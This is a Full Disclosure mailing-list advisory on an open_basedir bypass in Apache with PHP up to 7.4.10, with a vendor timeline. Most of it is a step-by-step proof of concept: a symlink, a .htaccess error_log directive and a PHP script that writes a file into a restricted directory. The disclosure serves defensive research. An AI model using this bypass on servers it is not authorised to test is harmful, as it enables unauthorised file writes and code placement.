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Message-ID: <txQZJojgxR4ushIHqaUiQ8MdFA_gEVQiB8t2EmDA0A_kdbGklMyufzaTHEz8_N2z6gJhdf_SFYDJL3F6gBG5vT_7Lnut49mybCr3MjqTxy0=@protonmail.com> Date: Wed, 16 Sep 2020 04:15:44 +0000 From: Havijoori via Fulldisclosure <fulldisclosure@...lists.org> To: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org> Subject: [FD] Apache + PHP <= 7.4.10 open_basedir bypass Introduction ============ open_basedir security feature can be bypassed when Apache web server runs PHP scripts. Proof of Concept ================ 1. Set open_basedir as a security feature in php.ini file : open_basedir = /var/www/html:/tmp 2. Make a directory with the name of your web server's home directory inside your web server's home directory : mkdir -p /var/www/html/var/www/html 3. Make a symlink to a restricted writable directory inside this new directory : ln -s /home/havijoori/www/uploads /var/www/html/var/www/html/test 4. Make a .htaccess file in your web server's root directory to set php value : php_value error_log "var/www/html/test/hacked.php" 5. Make a PHP script, "bypass.php" in your web server's root directory to exploit the vulnerability : <?php error_log("<?php phpinfo(); ?>"); ?> 6. Call the script : curl http://webserver/bypass.php 7. After successful exploitation, our file "hacked.php" should be created in the restricted directory : ls /home/havijoori/www/uploads/hacked.php Tested with PHP 5.2.5 and 7.x. Similar to CVE-2007-3378. Timeline ======== 2020-08-17 : Vendor notified (bug #79985) 2020-08-26 : Vendor changed the report's status to "Not a bug" 2020-09-03 : PHP 7.4.10 released without any patch 2020-09-16 : Public disclosure. Maybe the community can fix the bug! _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
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